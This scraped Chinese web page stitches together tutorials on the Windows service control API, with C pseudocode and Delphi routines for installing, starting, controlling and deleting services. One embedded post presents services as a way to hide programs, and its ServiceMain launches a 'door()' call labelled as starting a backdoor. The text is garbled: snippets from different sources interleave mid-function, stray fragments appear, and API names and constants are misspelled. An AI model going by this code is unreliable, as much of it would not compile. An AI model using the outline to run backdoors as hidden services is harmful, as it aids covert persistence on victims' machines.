加载驱动的相关函数,Windows服务之启动

2019-11-15 00:48 来源:未知

 

Delphi服务程序注册与卸载

1:打开SCM管理器函数
SC_HANDLE OpenSCManager(LPCTSTR lpszMachineName,//计算机名称
LPCTSTR lpszDatabaseName,//scm数据库名称
DWORD fdwDesiredAccess); // 使用权限
----Open SCManager 函数打开指定计算机上的service control manager database。其中参数lpszMac
hineName指定计算机名,若为空则指定为本机。参数lpszDatabaseName指定要打开的service control m
anager database,默认为空。
----参数fdwDesiredAccess指定操作的权限,可以为下面取值之一
SC_MANAGER_ALL_ACCESS //所有权限
SC_MANAGER_CONNECT //允许连接service control manager
SC_MANAGER_CREATE_SERVICE //允许创建服务对象并把它加入service control manager database
SC_MANAGER_ENUMERATE_SERVICE //允许枚举service control manager database中的服务
SC_MANAGER_LOCK //允许锁住service control manager database
SC_MANAGER_QUERY_LOCK_STATUS //允许获取servicecontrolmanagerdatabase的封锁信息
----函数返回值:函数执行成功则返回一个指向service control manager database的句柄,失败则返回
NULL。

2012-11-02 08:54 (分类:计算机程序)

      windows服务是一个运行在后台并实现勿需用户交互的任务的控制台程序,对于隐藏程序有很大帮助。

      用了几天时间概括了编写windows服务程序的轮廓,下面用伪码记录一下。

      

//两个全局变量
SERVICE_STATUS_HANDLE StatusHandle
SERVICE_STATUS m_ServiceStatus

void main()

//一个程序可能包含若干个服务。每一个服务都必须列于专门的分派表中
SERVICE_TABLE_ENTRY ServiceTable[2]; //结构类型的数组,
ServiceTable[0].lpServiceName = "MemoryStatus"; //服务名
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; //服务主函数  
ServiceTable[1].lpServiceName = NULL; //数组最后一个成员组默认都为NULL
ServiceTable[1].lpServiceProc = NULL;    

// 启动服务的控制分派机线程, 负责把程序主线程连接到服务控制管理程序SCM,通知服务控制程序//服务正在执行,并提供函数地址;为每一个传递到它的数组中的非空元素产生一个新的线程,每一//个进程开始执行由数组元素中的指明的ServiceMain函数;SCM启动一个服务程序之后,它会等待该/*程序的主线程去调StartServiceCtrlDispatcher。如果那个函数在两分钟内没有被调用,SCM将会认为这个服务有问题,并调用TerminateProcess去杀死这个进程。这就要求你的主线程要尽可能快的调用StartServiceCtrlDispatcher,开始启动服务解析*/

StartServiceCtrlDispatcher(ServiceTable); 

}

ServiceMain 函数
该函数是服务的入口点。它运行在一个单独的线程当中,这个线程是由控制分派器创建的。ServiceMain 应该尽可能早早为服务注册控制处理器

void WINAPI ServiceMain()
{
//指定服务特征和其当前状态来初始化 ServiceStatus 结构
m_ServiceStatus.dwServiceType=SERVICE_WIN32_OWN_PROCESS;
//指示服务类型,创建 Win32 服务。赋值 SERVICE_WIN32;
m_ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
//指定服务的当前状态。因为服务的初始化在这里没有完成,所以这里 状态为SERVICE_START_PENDING;
m_ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN
//这个域通知 SCM 服务接受哪个域,停止,关机停止

m_ServiceStatus.dwWin32ExitCode=0; //是允许服务报告错误的关键
m_ServiceStatus.dwServiceSpecificExitCode=0; //一般不关心,设为0

m_ServiceStatus.dwCheckPoint=0; //是一个服务用来报告它当前的事件进展情况的
m_ServiceStatus.dwWaitHint=0; //一般不关心,设为0

//使用API函数RegisterServiceCtrlHandler()设置服务控制管理器SCM的服务控制处理函数
//ServiceMain 应该尽可能早早为服务注册控制处理器(尽量1秒之内)。这要通过调用 //RegisterServiceCtrlHadler 函数来实现;调用RegisterServiceCtrlHandler函数去通知SCM //它的CtrlHandler回调函数的地址
//SERVICE_STATUS_HANDLE StatusHandle是一个全局变量,当需要改变状态时 //SetServiceStatus()用它来标识一个服务。

SERVICE_STATUS_HANDLE StatusHandle
StatusHandle =RegisterServiceCtrlHadler("system",serviceCtrlHandler) //函数名称 //控制函数CtrlHandler函数地址

//RegisterServiceCtrlHandler返回一个SERVICE_STATUS_HANDLE,这是一个32位的句柄。SCM用 //它来唯一确定这个服务。当这个服务需要把它当时的状态报告给SCM的时候,就必须把这个句柄传//给需要它的Win32函数

//在RegisterServiceCtrlHandler函数返回后,ServiceMain线程要立即告诉SCM服务正在继续初始//化。具体的方法是通过调用SetServiceStatus函数传递SERVICE_STATUS数据结构。
//通过调用 SetServiceStatus 函数,用 hStatus 向 SCM 报告服务的状态。

//一旦服务被完全初始化,就应该重新初始化SERVICE_STATUS结构的成员,更改dwCurrentState //为SERVICE_RUNNING,然后把dwCheckPoint和dwWaitHint都改为0,将状态及时通告给服务控制管 //理器SCM,使用一个API函数SetServiceStatus()来实现这一目标

m_ServiceStatus.dwCurrentState=SERVICE_START_RUNNING;
m_ServiceStatus.dwCheckPoint=0;
m_ServiceStatus.dwWaitHint=0;

SetServiceStatus(StatusHandle,m_ServiceStatus )
//服务的句柄 //SERVICE_STATUS结构的地址

door();启动后门程序
return;

}

void WINAPI ServiceCtrlHandler(DWORD dwControl) //服务控制函数
{
switch (dwControl)
{

case SERVICE_CONTROL_PAUSE:
servicestatus.dwCurrentState = SERVICE_PAUSE_PENDING;
// TODO: add code to set dwCheckPoint & dwWaitHint
// This value need to try a lot to confirm 
// ...
SetServiceStatus(servicestatushandle, &servicestatus);
// TODO: add code to pause the service
// not called in this service
// ...
servicestatus.dwCurrentState = SERVICE_PAUSED;
// TODO: add code to set dwCheckPoint & dwWaitHint to 0
break;
case SERVICE_CONTROL_CONTINUE:
servicestatus.dwCurrentState = SERVICE_CONTINUE_PENDING;
// TODO: add code to set dwCheckPoint & dwWaitHint
SetServiceStatus(servicestatushandle, &servicestatus);
// TODO: add code to unpause the service
// not called in this service
// ...
servicestatus.dwCurrentState = SERVICE_RUNNING;
// TODO: add code to set dwCheckPoint & dwWaitHint to 0
break;
case SERVICE_CONTROL_STOP:
servicestatus.dwCurrentState = SERVICE_STOP_PENDING;
// TODO: add code to set dwCheckPoint & dwWaitHint
SetServiceStatus(servicestatushandle, &servicestatus);
// TODO: add code to stop the service
Stop();
servicestatus.dwCurrentState = SERVICE_STOPPED;
// TODO: add code to set dwCheckPoint & dwWaitHint to 0
break;
case SERVICE_CONTROL_SHUTDOWN:
// TODO: add code for system shutdown
// as quick as possible
break;
case SERVICE_CONTROL_INTERROGATE:
// TODO: add code to set the service status
// ...
servicestatus.dwCurrentState = SERVICE_RUNNING;
break;
}
SetServiceStatus(servicestatushandle, &servicestatus);
}

//安装服务函数 

//OpenSCManager函数是在创建一个服务对象(CreateService),并且把它加入到中要调用的API
//打开服务管理数据库

SC_HANDLE schService;
SC_HANDLE schSCManager;
schSCManager=OpenSCManager(
NULL, //本地计算机
NULL, //默认的数据库
SC_MANAGER_ALL_ACCESS //要求所有的访问权
);

//创建进程

CreateService(
SC_HANDLE hSCManager,//服务控制管理程序维护的登记数据库的句柄,由系统函数 OpenSCManager 返回 
LPCTSTR lpServiceName, //以NULL 结尾的服务名,用于创建登记数据库中的关键字
LPCTSTR lpDisplayName, //以NULL 结尾的服务名,用于用户界面标识服务
DWORD dwDesiredAccess, //指定服务返回类型
DWORD dwServiceType, //指定服务类型
DWORD dwStartType, //指定何时启动服务
DWORD dwErrorControl, //指定服务启动失败的严重程度
LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径
LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名
LPDWORD lpdwTagId, //忽略,NULL
LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组
LPCTSTR lpServiceStartName, //以NULL 结尾的字符串,指定服务帐号。如是NULL,则表示使用 LocalSystem 帐号 
LPCTSTR lpPassword //以NULL 结尾的字符串,指定对应的口令。为NULL表示无口。 但使用LocalSystem时填NULL

schService=CreateService(
schSCManager, //服务管理数据库句柄
TEXT(SZSERVICENAME), //服务名
TEXT(SZAPPNAME), //用于显示服务的标识
SERVICE_ALL_ACCESS, //响应所有的访问请求
SERVICE_WIN32_OWN_PROCESS, //服务类型
SERVICE_DEMAND_START, //启动类型
SERVICE_ERROR_NORMAL, //错误控制类型
szPath, //服务程序磁盘文件的路径
NULL, //服务不属于任何组
NULL, //没有tag标识符
NULL, //启动服务所依赖的服务或服务组,这里仅仅是一个空字符串
NULL, //LocalSystem 帐号
NULL);

删除服务时调用
DeleteService;它只有一个参数(服务句柄)。我们可分四步完成
1)、打开SCM句柄。
2)、打开要删除的服务。
3)、检查当前服务的状态确保服务已经停止。
4)、删除服务并关闭所有打开的句柄。下面是一段删除服务的程序。

SC_HANDLE Service,scm;
SERVICE_STATUS status;
BOOL success;

scm = OpenSCManager(NULL,NULL,SC_MANAGER_ENUMERATE_SERVICE); //打开SCM句柄。

//打开要删除的服务
Service = OpenService(scm,pszServiceName,SERVICE_ALL_ACCESS|DELETE);

//检查当前服务的状态确保服务已经停止
if (!Service){

cout<<"OpenService ERROR:"<<GetLastError()<<endl;
CloseServiceHandle(Service);
CloseServiceHandle(scm);
return false;
}

success = QueryServiceStatus(Service,&status);
if (!success){

cout<<"QueryServiceStatus ERROR:"<<GetLastError()<<endl;
CloseServiceHandle(Service);
CloseServiceHandle(scm);
return false;
}

if (status.dwCurrentState!=SERVICE_STOPPED)
{
success = ControlService(Service,SERVICE_CONTROL_STOP,&status);
if (!success){
cout<<"ControlService ERROR:"<<GetLastError()<<endl;
CloseServiceHandle(Service);
CloseServiceHandle(scm);
return false;
}
}
//删除服务
success = DeleteService(Service);

if (!success){

cout<<"DeleteService ERROR:"<<GetLastError()<<endl;

CloseServiceHandle(Service);
CloseServiceHandle(scm);
return false;
}
bb//关闭所有打开的句柄
CloseServiceHandle(Service);
CloseServiceHandle(scm);
return true;

 

SC_HANDLE   scm,sHandle;

uses winsvc;
function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
SCManager,Service: THandle;
Args: pchar;
begin
Result := False;
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
   Service := CreateService(SCManager, //句柄
                   PChar(ServiceName), //服务名称
                   PChar(DisplayName), //显示服务名
                   SERVICE_ALL_ACCESS, //服务访问类型
                   SERVICE_WIN32_OWN_PROCESS, //服务类型 or SERVICE_INTERACTIVE_PROCESS
                   SERVICE_AUTO_START, //自动启动服务
                   SERVICE_ERROR_IGNORE, //忽略错误
                   PChar(FileName), //启动的文件名
                   nil, //name of load ordering group (载入组名) 'LocalSystem'
                   nil, //标签标识符
                   nil, //相关性数组名
                   nil, //帐户(当前)
                   nil); //密码(当前)

2: 关闭服务句柄
BOOL CloseServiceHandle(SC_HANDLE hSCObject)//要关闭的句柄

   SERVICE_STATUS   ServiceStatus;

   Args := nil;
   StartService(Service, 0, Args);
   CloseServiceHandle(Service);
finally
   CloseServiceHandle(SCManager);
end;
Result := True;
end;

3: 创建服务
SC_HANDLE CreateService(
SC_HANDLE hSCManager, //服务控制管理程序维护的登记数据库的句柄,由系统函数OpenSCManager 返回
LPCTSTR lpServiceName, //以NULL 结尾的服务名,用于创建登记数据库中的关键字
LPCTSTR lpDisplayName, //以NULL 结尾的服务名,用于用户界面标识服务
DWORD dwDesiredAccess, //指定服务返回类型
DWORD dwServiceType, //指定服务类型
DWORD dwStartType, //指定何时启动服务
DWORD dwErrorControl, //指定服务启动失败的严重程度
LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径
LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名
LPDWORD lpdwTagId, //忽略,NULL
LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组
LPCTSTR lpServiceStartName, //以NULL 结尾的字符串,指定服务帐号。如是NULL,则表示使用LocalSystem帐号
LPCTSTR lpPassword //以NULL 结尾的字符串,指定对应的口令。为NULL表示无口令。但使用LocalSystem时填NULL
);

    scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);

procedure UninstallService(ServiceName: string);
var
SCManager,Service: THandle;
ServiceStatus: SERVICE_STATUS;
begin
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
   Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
   ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
   DeleteService(Service);
   CloseServiceHandle(Service);
finally
   CloseServiceHandle(SCManager);
end;
end;

4: 打开服务
SC_HANDLE OpenService(SC_HANDLE schSCManager,//scm数据库的句柄
LPCTSTR lpszServiceName,//服务名称
DWORD fdwDesiredAccess);//访问权限
----OpenService函数打开指定的Service。
----其中参数schSCManager是指向service control manager database的句柄,由OpenSCManager函数返回。
----参数lpszServiceName要打开的服务的名字,注意大小写。
----参数fdwDesiredAccess指定操作的权限,可以为下面取值之一
SERVICE_ALL_ACCESS //所有权限
SERVICE_CHANGE_CONFIG //允许更改服务的配置
SERVICE_ENUMERATE_DEPENDENTS //允许获取依赖于该服务的其他服务
SERVICE_INTERROGATE //允许立即获取服务状态
SERVICE_PAUSE_CONTINUE //允许暂停和唤醒服务
SERVICE_QUERY_CONFIG //允许获取服务配置
SERVICE_QUERY_STATU //允许通过访问service control manager获取服务状态
SERVICE_START //允许启动服务
SERVICE_STOP //允许停止服务
SERVICE_USER_DEFINE_CONTROL //允许用户指定特殊的服务控制码
----函数返回值:函数执行成功则返回指向某项服务的句柄,失败则返回NULL。

    if   (scm!=NULL)

procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
case Control of
   SERVICE_CONTROL_STOP:
   begin
     Stopped := True;
     Status.dwCurrentState := SERVICE_STOPPED;
   end;
   SERVICE_CONTROL_PAUSE:
   begin
     Paused := True;
     Status.dwcurrentstate := SERVICE_PAUSED;
   end;
   SERVICE_CONTROL_CONTINUE:
   begin
     Paused := False;
     Status.dwCurrentState := SERVICE_RUNNING;
   end;
   SERVICE_CONTROL_INTERROGATE: ;
   SERVICE_CONTROL_SHUTDOWN: Stopped := True;
end;
SetServiceStatus(StatusHandle, Status);
end;

5: 控制服务
BOOL ControlService(SC_HANDLE hService,
DWORD dwControl,
LPSERVICE_STATUS lpServiceStatus);
----ControlService函数向Win32service发送控制码。
----其中参数hService是指向某项服务的句柄,由OpenService函数返回。
----参数dwControl为控制码,常用的有
SERVICE_CONTROL_STOP //停止服务
SERVICE_CONTROL_PAUSE //暂停服务
SERVICE_CONTROL_CONTINUE //唤醒暂停的服务
SERVICE_CONTROL_INTERROGATE//刷新某服务的状态
----参数lpServiceStatus指向SERVICE_STATUS结构,用于存放该服务最新的状态信息。
----函数返回值:函数执行成功则返回True,失败则返回False。

      {

//启动service

        sHandle=OpenService(scm, "GwbnService",SERVICE_START);

        if(sHandle!=NULL)

          {

            StartService(sHandle,0,NULL))//开始Service

          }  

//停止Service

          sHandle=OpenService(scm, "GwbnService",SERVICE_STOP|SERVICE_QUERY_STATUS);

          if(sHandle!=NULL)

              QueryServiceStatus(sHandle,&ServiceStatus);

          if(ServiceStatus.dwCurrentState   ==   SERVICE_RUNNING   ||   ServiceStatus.dwCurrentState   ==   SERVICE_PAUSED)

            {

              ControlService(sHandle,SERVICE_CONTROL_STOP,&ServiceStatus);

            }

//暂停Service

          sHandle=OpenService(scm, "GwbnService",SERVICE_PAUSE_CONTINUE|SERVICE_QUERY_STATUS);

          if(sHandle!=NULL)

          QueryServiceStatus(sHandle,&ServiceStatus);

          if(ServiceStatus.dwCurrentState   ==   SERVICE_RUNNING)

            {

              ControlService(sHandle,SERVICE_CONTROL_PAUSE,&ServiceStatus);

            }

//继续Service

          sHandle=OpenService(scm, "GwbnService",SERVICE_PAUSE_CONTINUE|SERVICE_QUERY_STATUS);

          if(sHandle!=NULL)

          QueryServiceStatus(sHandle,&ServiceStatus);

          if(ServiceStatus.dwCurrentState   ==   SERVICE_PAUSED)

            {

              ControlService(sHandle,SERVICE_CONTROL_CONTINUE,&ServiceStatus);

            }

 

      }

 

注意:服务有服务名称和显示名称之分,这里需要的是服务名称

 

 

摘自:Awey_001的专栏

scm,sHandle; SERVICE_STATUS ServiceStatus; scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if (scm!=NULL) { //启动service sHandle=OpenService(scm, GwbnService,SERVI...

TAG标签:
版权声明:本文由美高梅网投平台发布于计算机网络,转载请注明出处:加载驱动的相关函数,Windows服务之启动